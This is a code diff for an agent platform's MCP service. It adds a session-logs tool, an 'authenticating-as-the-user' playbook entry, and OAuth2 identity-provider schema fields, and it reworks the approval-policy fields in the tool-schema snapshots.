+export const AgentApplicationsSessionLogsQueryParams = /* @__PURE__ */ zod.object({
+ after: zod.iso.datetime({ offset: true }).optional().describe('Only return entries after this ISO 8601 timestamp.'),
+ before: zod.iso
+ .datetime({ offset: true })
+ .optional()
+ .describe('Only return entries before this ISO 8601 timestamp.'),
+ instance_id: zod.string().min(1).optional().describe('Filter logs to a specific execution instance.'),
+ level: zod
+ .string()
+ .min(1)
+ .optional()
+ .describe(
+ "Comma-separated log levels to include, e.g. 'WARN,ERROR'. Valid levels: DEBUG, LOG, INFO, WARN, ERROR."
+ ),
+ limit: zod
+ .number()
+ .min(1)
+ .max(agentApplicationsSessionLogsQueryLimitMax)
+ .default(agentApplicationsSessionLogsQueryLimitDefault)
+ .describe('Maximum number of log entries to return (1-500, default 50).'),
+ search: zod.string().min(1).optional().describe('Case-insensitive substring search across log messages.'),
+})
+
/**
* Read-only catalog of every @posthog/* native tool the runner knows.
*/
diff --git a/services/mcp/src/tools/agentPlatform/playbookContent.generated.ts b/services/mcp/src/tools/agentPlatform/playbookContent.generated.ts
index 92373380f4d9..75d6922efd36 100644
--- a/services/mcp/src/tools/agentPlatform/playbookContent.generated.ts
+++ b/services/mcp/src/tools/agentPlatform/playbookContent.generated.ts
@@ -2,6 +2,7 @@
// (products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/<id>/SKILL.md).
// Do not edit by hand — run `tsx services/mcp/scripts/copy-instructions.ts`.
import auditingTheFleet from '@shared/playbooks/auditing-the-fleet/SKILL.md'
+import authenticatingAsTheUser from '@shared/playbooks/authenticating-as-the-user/SKILL.md'
import authoringNewAgents from '@shared/playbooks/authoring-new-agents/SKILL.md'
import choosingTheModel from '@shared/playbooks/choosing-the-model/SKILL.md'
import costAndQuotaAnalysis from '@shared/playbooks/cost-and-quota-analysis/SKILL.md'
@@ -22,6 +23,7 @@ import type { PlaybookId } from './playbookManifest.generated'
export const PLAYBOOK_CONTENT: Record<PlaybookId, string> = {
'auditing-the-fleet': auditingTheFleet,
+ 'authenticating-as-the-user': authenticatingAsTheUser,
'authoring-new-agents': authoringNewAgents,
'choosing-the-model': choosingTheModel,
'cost-and-quota-analysis': costAndQuotaAnalysis,
diff --git a/services/mcp/src/tools/agentPlatform/playbookManifest.generated.ts b/services/mcp/src/tools/agentPlatform/playbookManifest.generated.ts
index d584e9d7c525..d19c0afdf23f 100644
--- a/services/mcp/src/tools/agentPlatform/playbookManifest.generated.ts
+++ b/services/mcp/src/tools/agentPlatform/playbookManifest.generated.ts
@@ -3,6 +3,7 @@
// Do not edit by hand — run `tsx services/mcp/scripts/copy-instructions.ts`.
export const PLAYBOOK_IDS = [
'auditing-the-fleet',
+ 'authenticating-as-the-user',
'authoring-new-agents',
'choosing-the-model',
'cost-and-quota-analysis',
@@ -24,6 +25,7 @@ export type PlaybookId = (typeof PLAYBOOK_IDS)[number]
export const PLAYBOOK_TITLES: Record<PlaybookId, string> = {
'auditing-the-fleet': 'Auditing the fleet',
+ 'authenticating-as-the-user': 'Authenticating as the user',
'authoring-new-agents': 'Authoring new agents',
'choosing-the-model': 'Choosing the model',
'cost-and-quota-analysis': 'Cost and quota analysis',
diff --git a/services/mcp/src/tools/generated/agent_platform.ts b/services/mcp/src/tools/generated/agent_platform.ts
index 1cda46cc8628..1cd45de9fd1b 100644
--- a/services/mcp/src/tools/generated/agent_platform.ts
+++ b/services/mcp/src/tools/generated/agent_platform.ts
@@ -45,6 +45,8 @@ import {
AgentApplicationsRevisionsToolsUpdateBody,
AgentApplicationsRevisionsToolsUpdateParams,
AgentApplicationsRevisionsValidateCreateParams,
+ AgentApplicationsSessionLogsParams,
+ AgentApplicationsSessionLogsQueryParams,
AgentApplicationsSessionsListParams,
AgentApplicationsSessionsListQueryParams,
AgentApplicationsSessionsRetrieveParams,
@@ -777,6 +779,34 @@ const agentApplicationsRevisionsValidateCreate = (): ToolBase<
},
})
+const AgentApplicationsSessionLogsSchema = AgentApplicationsSessionLogsParams.omit({ project_id: true }).extend(
+ AgentApplicationsSessionLogsQueryParams.shape
+)
+
+const agentApplicationsSessionLogs = (): ToolBase<
+ typeof AgentApplicationsSessionLogsSchema,
+ Schemas.AgentApplicationSessionLogsResponse
+> => ({
+ name: 'agent-applications-session-logs',
+ schema: AgentApplicationsSessionLogsSchema,
+ handler: async (context: Context, params: z.infer<typeof AgentApplicationsSessionLogsSchema>) => {
+ const projectId = await context.stateManager.getProjectId()
+ const result = await context.api.request<Schemas.AgentApplicationSessionLogsResponse>({
+ method: 'GET',
+ path: `/api/projects/${encodeURIComponent(String(projectId))}/agent_applications/${encodeURIComponent(String(params.id))}/sessions/${encodeURIComponent(String(params.session_id))}/logs/`,
+ query: {
+ after: params.after,
+ before: params.before,
+ instance_id: params.instance_id,
+ level: params.level,
+ limit: params.limit,
+ search: params.search,
+ },
+ })
+ return result
+ },
+})
+
const AgentApplicationsSessionsListSchema = AgentApplicationsSessionsListParams.omit({ project_id: true }).extend(
AgentApplicationsSessionsListQueryParams.shape
)
@@ -879,6 +909,7 @@ export const GENERATED_TOOLS: Record<string, () => ToolBase<ZodObjectAny>> = {
'agent-applications-revisions-tools-destroy': agentApplicationsRevisionsToolsDestroy,
'agent-applications-revisions-tools-update': agentApplicationsRevisionsToolsUpdate,
'agent-applications-revisions-validate-create': agentApplicationsRevisionsValidateCreate,
+ 'agent-applications-session-logs': agentApplicationsSessionLogs,
'agent-applications-sessions-list': agentApplicationsSessionsList,
'agent-applications-sessions-retrieve': agentApplicationsSessionsRetrieve,
'agent-native-tools-list': agentNativeToolsList,
diff --git a/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-applications-revisions-create.json b/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-applications-revisions-create.json
index 342f83af40ec..47c87a9b78ae 100644
--- a/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-applications-revisions-create.json
+++ b/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-applications-revisions-create.json
@@ -51,6 +51,89 @@
},
"type": "object"
},
+ "identity_providers": {
+ "default": [],
+ "items": {
+ "anyOf": [
+ {
+ "properties": {
+ "binding": {
+ "default": "principal",
+ "enum": ["principal"],
+ "type": "string"
+ },
+ "client_id": {
+ "type": "string"
+ },
+ "id": {
+ "default": "posthog",
+ "minLength": 1,
+ "type": "string"
+ },
+ "kind": {
+ "const": "posthog",
+ "type": "string"
+ },
+ "scopes": {
+ "default": [],
+ "items": {
+ "type": "string"
+ },
+ "type": "array"
+ }
+ },
+ "required": ["kind"],
+ "type": "object"
+ },
+ {
+ "properties": {
+ "authorize_url": {
+ "format": "uri",
+ "type": "string"
+ },
+ "binding": {
+ "default": "principal",
+ "enum": ["principal"],
+ "type": "string"
+ },
+ "client_id": {
+ "minLength": 1,
+ "type": "string"
+ },
+ "client_secret_ref": {
+ "type": "string"
+ },
+ "id": {
+ "minLength": 1,
+ "type": "string"
+ },
+ "kind": {
+ "const": "oauth2",
+ "type": "string"
+ },
+ "scopes": {
+ "default": [],
+ "items": {
+ "type": "string"
+ },
+ "type": "array"
+ },
+ "token_url": {
+ "format": "uri",
+ "type": "string"
+ },
+ "userinfo_url": {
+ "format": "uri",
+ "type": "string"
+ }
+ },
+ "required": ["kind", "id", "authorize_url", "token_url", "client_id"],
+ "type": "object"
+ }
+ ]
+ },
+ "type": "array"
+ },
"integrations": {
"default": [],
"items": {
@@ -113,6 +196,9 @@
"properties": {
"integration": {
"type": "string"
+ },
+ "provider": {
+ "type": "string"
}
},
"type": "object"
@@ -148,28 +234,20 @@
"properties": {
"approval_policy": {
"properties": {
- "allow_agent_approver": {
- "default": false,
- "type": "boolean"
- },
"allow_edit": {
"default": false,
"type": "boolean"
},
- "approvers": {
- "default": ["team_admins"],
- "items": {
- "enum": ["team_admins", "session_principal"],
- "type": "string"
- },
- "minItems": 1,
- "type": "array"
- },
"ttl_ms": {
"default": 86400000,
"maximum": 604800000,
"minimum": 60000,
"type": "number"
+ },
+ "type": {
+ "default": "principal",
+ "enum": ["principal", "agent"],
+ "type": "string"
}
},
"type": "object"
@@ -290,28 +368,20 @@
"properties": {
"approval_policy": {
"properties": {
- "allow_agent_approver": {
- "default": false,
- "type": "boolean"
- },
"allow_edit": {
"default": false,
"type": "boolean"
},
- "approvers": {
- "default": ["team_admins"],
- "items": {
- "enum": ["team_admins", "session_principal"],
- "type": "string"
- },
- "minItems": 1,
- "type": "array"
- },
"ttl_ms": {
"default": 86400000,
"maximum": 604800000,
"minimum": 60000,
"type": "number"
+ },
+ "type": {
+ "default": "principal",
+ "enum": ["principal", "agent"],
+ "type": "string"
}
},
"type": "object"
@@ -335,28 +405,20 @@
"properties": {
"approval_policy": {
"properties": {
- "allow_agent_approver": {
- "default": false,
- "type": "boolean"
- },
"allow_edit": {
"default": false,
"type": "boolean"
},
- "approvers": {
- "default": ["team_admins"],
- "items": {
- "enum": ["team_admins", "session_principal"],
- "type": "string"
- },
- "minItems": 1,
- "type": "array"
- },
"ttl_ms": {
"default": 86400000,
"maximum": 604800000,
"minimum": 60000,
"type": "number"
+ },
+ "type": {
+ "default": "principal",
+ "enum": ["principal", "agent"],
+ "type": "string"
}
},
"type": "object"
@@ -374,6 +436,9 @@
"requires_approval": {
"default": false,
"type": "boolean"
+ },
+ "requires_identity": {
+ "type": "string"
}
},
"required": ["kind", "id", "path"],
diff --git a/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-applications-revisions-partial-update.json b/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-applications-revisions-partial-update.json
index f85b9547fdd5..b3a203ec0110 100644
--- a/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-applications-revisions-partial-update.json
+++ b/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-applications-revisions-partial-update.json
@@ -54,6 +54,89 @@
},
"type": "object"
},
+ "identity_providers": {
+ "default": [],
+ "items": {
+ "anyOf": [
+ {
+ "properties": {
+ "binding": {
+ "default": "principal",
+ "enum": ["principal"],
+ "type": "string"
+ },
+ "client_id": {
+ "type": "string"
+ },
+ "id": {
+ "default": "posthog",
+ "minLength": 1,
+ "type": "string"
+ },
+ "kind": {
+ "const": "posthog",
+ "type": "string"
+ },
+ "scopes": {
+ "default": [],
+ "items": {
+ "type": "string"
+ },
+ "type": "array"
+ }
+ },
+ "required": ["kind"],
+ "type": "object"
+ },
+ {
+ "properties": {
+ "authorize_url": {
+ "format": "uri",
+ "type": "string"
+ },
+ "binding": {
+ "default": "principal",
+ "enum": ["principal"],
+ "type": "string"
+ },
+ "client_id": {
+ "minLength": 1,
+ "type": "string"
+ },
+ "client_secret_ref": {
+ "type": "string"
+ },
+ "id": {
+ "minLength": 1,
+ "type": "string"
+ },
+ "kind": {
+ "const": "oauth2",
+ "type": "string"
+ },
+ "scopes": {
+ "default": [],
+ "items": {
+ "type": "string"
+ },
+ "type": "array"
+ },
+ "token_url": {
+ "format": "uri",
+ "type": "string"
+ },
+ "userinfo_url": {
+ "format": "uri",
+ "type": "string"
+ }
+ },
+ "required": ["kind", "id", "authorize_url", "token_url", "client_id"],
+ "type": "object"
+ }
+ ]
+ },
+ "type": "array"
+ },
"integrations": {
"default": [],
"items": {
@@ -116,6 +199,9 @@
"properties": {
"integration": {
"type": "string"
+ },
+ "provider": {
+ "type": "string"
}
},
"type": "object"
@@ -151,28 +237,20 @@
"properties": {
"approval_policy": {
"properties": {
- "allow_agent_approver": {
- "default": false,
- "type": "boolean"
- },
"allow_edit": {
"default": false,
"type": "boolean"
},
- "approvers": {
- "default": ["team_admins"],
- "items": {
- "enum": ["team_admins", "session_principal"],
- "type": "string"
- },
- "minItems": 1,
- "type": "array"
- },
"ttl_ms": {
"default": 86400000,
"maximum": 604800000,
"minimum": 60000,
"type": "number"
+ },
+ "type": {
+ "default": "principal",
+ "enum": ["principal", "agent"],
+ "type": "string"
}
},
"type": "object"
@@ -293,28 +371,20 @@
"properties": {
"approval_policy": {
"properties": {
- "allow_agent_approver": {
- "default": false,
- "type": "boolean"
- },
"allow_edit": {
"default": false,
"type": "boolean"
},
- "approvers": {
- "default": ["team_admins"],
- "items": {
- "enum": ["team_admins", "session_principal"],
- "type": "string"
- },
- "minItems": 1,
- "type": "array"
- },
"ttl_ms": {
"default": 86400000,
"maximum": 604800000,
"minimum": 60000,
"type": "number"
+ },
+ "type": {
+ "default": "principal",
+ "enum": ["principal", "agent"],
+ "type": "string"
}
},
"type": "object"
@@ -338,28 +408,20 @@
"properties": {
"approval_policy": {
"properties": {
- "allow_agent_approver": {
- "default": false,
- "type": "boolean"
- },
"allow_edit": {
"default": false,
"type": "boolean"
},
- "approvers": {
- "default": ["team_admins"],
- "items": {
- "enum": ["team_admins", "session_principal"],
- "type": "string"
- },
- "minItems": 1,
- "type": "array"
- },
"ttl_ms": {
"default": 86400000,
"maximum": 604800000,
"minimum": 60000,
"type": "number"
+ },
+ "type": {
+ "default": "principal",
+ "enum": ["principal", "agent"],
+ "type": "string"
}
},
"type": "object"
@@ -377,6 +439,9 @@
"requires_approval": {
"default": false,
"type": "boolean"
+ },
+ "requires_identity": {
+ "type": "string"
}
},
"required": ["kind", "id", "path"],
diff --git a/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-applications-session-logs.json b/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-applications-session-logs.json
new file mode 100644
index 000000000000..e358601c8658
--- /dev/null
+++ b/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-applications-session-logs.json
@@ -0,0 +1,49 @@
+{
+ "$schema": "https://json-schema.org/draft/2020-12/schema",
+ "properties": {
+ "after": {
+ "description": "Only return entries after this ISO 8601 timestamp.",
+ "format": "date-time",
+ "pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z|([+-](?:[01]\\d|2[0-3]):[0-5]\\d)))$",
+ "type": "string"
+ },
+ "before": {
+ "description": "Only return entries before this ISO 8601 timestamp.",
+ "format": "date-time",
+ "pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z|([+-](?:[01]\\d|2[0-3]):[0-5]\\d)))$",
+ "type": "string"
+ },
+ "id": {
+ "description": "A UUID string identifying this agent application.",
+ "type": "string"
+ },
+ "instance_id": {
+ "description": "Filter logs to a specific execution instance.",
+ "minLength": 1,
+ "type": "string"
+ },
+ "level": {
+ "description": "Comma-separated log levels to include, e.g. 'WARN,ERROR'. Valid levels: DEBUG, LOG, INFO, WARN, ERROR.",
+ "minLength": 1,
+ "type": "string"
+ },
+ "limit": {
+ "default": 50,
+ "description": "Maximum number of log entries to return (1-500, default 50).",
+ "maximum": 500,
+ "minimum": 1,
+ "type": "number"
+ },
+ "search": {
+ "description": "Case-insensitive substring search across log messages.",
+ "minLength": 1,
+ "type": "string"
+ },
+ "session_id": {
+ "description": "UUID of the session whose logs to fetch.",
+ "type": "string"
+ }
+ },
+ "required": ["id", "session_id"],
+ "type": "object"
+}
diff --git a/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-resolve-resource.json b/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-resolve-resource.json
index b8d9ecf625d3..2f1534a6453b 100644
--- a/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-resolve-resource.json
+++ b/services/mcp/tests/unit/__snapshots__/tool-schemas/agent-resolve-resource.json
@@ -2,7 +2,7 @@
"$schema": "https://json-schema.org/draft/2020-12/schema",
"properties": {
"resource": {
- "description": "Which operator playbook to fetch. Accepts either a bare id (one of: auditing-the-fleet, authoring-new-agents, choosing-the-model, cost-and-quota-analysis, debugging-sessions, designing-mcp-surfaces, editing-agents-safely, platform-mental-model, querying-ai-observability, reading-an-agent, running-and-evaluating-tests, safety-and-boundaries, secrets-and-integrations, setting-up-slack-app, using-the-console-ui, working-outside-the-console) or its URI form (`posthog://agent-platform/playbooks/<id>`). A playbook is a markdown guide for doing a class of agent-platform operations well — the same skills the agent concierge uses.",
+ "description": "Which operator playbook to fetch. Accepts either a bare id (one of: auditing-the-fleet, authenticating-as-the-user, authoring-new-agents, choosing-the-model, cost-and-quota-analysis, debugging-sessions, designing-mcp-surfaces, editing-agents-safely, platform-mental-model, querying-ai-observability, reading-an-agent, running-and-evaluating-tests, safety-and-boundaries, secrets-and-integrations, setting-up-slack-app, using-the-console-ui, working-outside-the-console) or its URI form (`posthog://agent-platform/playbooks/<id>`). A playbook is a markdown guide for doing a class of agent-platform operations well — the same skills the agent concierge uses.",
"type": "string"
}
},